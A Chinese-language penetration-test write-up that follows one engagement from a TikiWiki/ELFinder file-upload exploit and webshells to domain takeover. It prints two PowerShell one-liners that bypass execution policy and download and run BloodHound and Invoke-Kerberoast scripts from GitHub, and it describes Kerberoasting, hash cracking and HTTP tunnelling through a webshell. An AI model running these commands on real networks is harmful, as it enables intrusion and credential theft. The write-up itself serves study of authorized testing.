在一次渗透测试中,客户给了一个 IP 范围,要求执行外部的渗透测试,在尝试 nessus 扫描之后没有发现任何可以利用的点,着着我不得不探查目标 IP 是否部署有 web 服务,从而进一步测试。
企业外部提供服务的网站都是通过域名来访问,在得知目标 IP 的情况下,我们是有机会获取到有哪些域名解析到这个 IP 之上,方法有很多,比如一些网站提供的 IP 反查功能,还有一些 dns 数据库中查询,还有就是通过搜索引擎的语法,这里我是用 bing 的搜索语法来看看这些 IP 上部署了哪些 web 服务。
经过一轮搜索,发现其中一个 IP 部署了一个 wiki 系统,如图:
链接中有 tiki 关键词,让我联想到了 TikiWiki CMS,接下来我通过搜索引擎搜索关于 TikiWiki 相关的远程命令执行的漏洞,别说,还真有,问题出在插件 ELFinder 中,恰好目标使用了这个插件:
漏洞利用的 EXP 在 exploit-db 上找到,是 msf 的插件,需要使用 msf 来进行利用,漏洞利用 EXP 地址:
https://www.exploit-db.com/exploits/40091
该漏洞是一个文件上传漏洞,利用过程如图:
但是在实际利用的时候,发现没有成功,报错提示是连接被重置:
因为漏洞原理我们是知道的,毕竟 exp 中写的很详细,接下来我们尝试手工复现,构造漏洞利用的数据包,然后提交至服务器,如图:
发现上传成功,接下来可以访问 webshell 来控制目标服务器。
在使用 php webshell 执行 systeminfo 命令时返回信息中发现,目标服务器在域中(Domain 字段有域名):
然后查看当前 shell 的权限,使用命令 whoami,发现是 IIS_IUSRS:
从这里我们可以知道目标服务器操作系统是 windows,web 服务器是 IIS,使用 asp 的 webshell 会有不同的权限,我尝试上传了一个 aspx 的 webshell,然后查询当前权限,发现是 NT AUTHORITY\NETWORK SERVICE 权限:
接下来我是用 BloodHound 来收集域中的相关信息,命令:
powershell -ep bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/incredibleindishell/Windows-AD-environment-related/master/Blood_Hound/bps_in.ps1'); Invoke-BloodHound -CollectionMethod All -CompressData -RemoveCSV
将收集到的信息上传至本地的 BloodHound 控制台,发现有很少的用户可以获取域管理员的权限:
接下来使用 Invoke-Kerberoast 收集 Kerberos TGS Ticket,命令:
powershell -ep bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1');Invoke-Kerberoast -OutputFormat Hashcat | Select-Object -ExpandProperty hash | Out-File -filepath ticket_b0x.txt
将获取到的 Ticket 信息使用 hashcat 进行暴力破解,还好在一天后成功获得密码。
测试时发现,内部比较敏感的机器,比如域控制器,无法建立反向隧道,因为外围防火墙做了出站限制,为了解决这个问题,我是用了 NCC 组织开发的建立 HTTP 隧道的脚本:
https://github.com/nccgroup/ABPTTS
将 asox 脚本上传至 web 服务器,然后在本地启动,这样我们在本地就可以访问域控制器上的资源:
其实 ABPTTS 的功能与 reGeorg 类似,通过主动连接 web 服务器后门来建立 HTTP 虽然,然后就可以将本地的流量通过 web 服务器上的后门转发至内网,从而实现对内部敏感服务器的访问。
后来因为域中 ACL 权限访问控制过于松散,从而获得了域管理员的账号权限,接管了整个域。
本文算是一个比较完整的域渗透过程,很多细节做了精简,但是大体流程还是比较清晰,每一个过程可能有很多可以替代的技术,作为参考,还是很有学习的价值的,能够清理的了解一个完整的从外到内的整个渗透过程。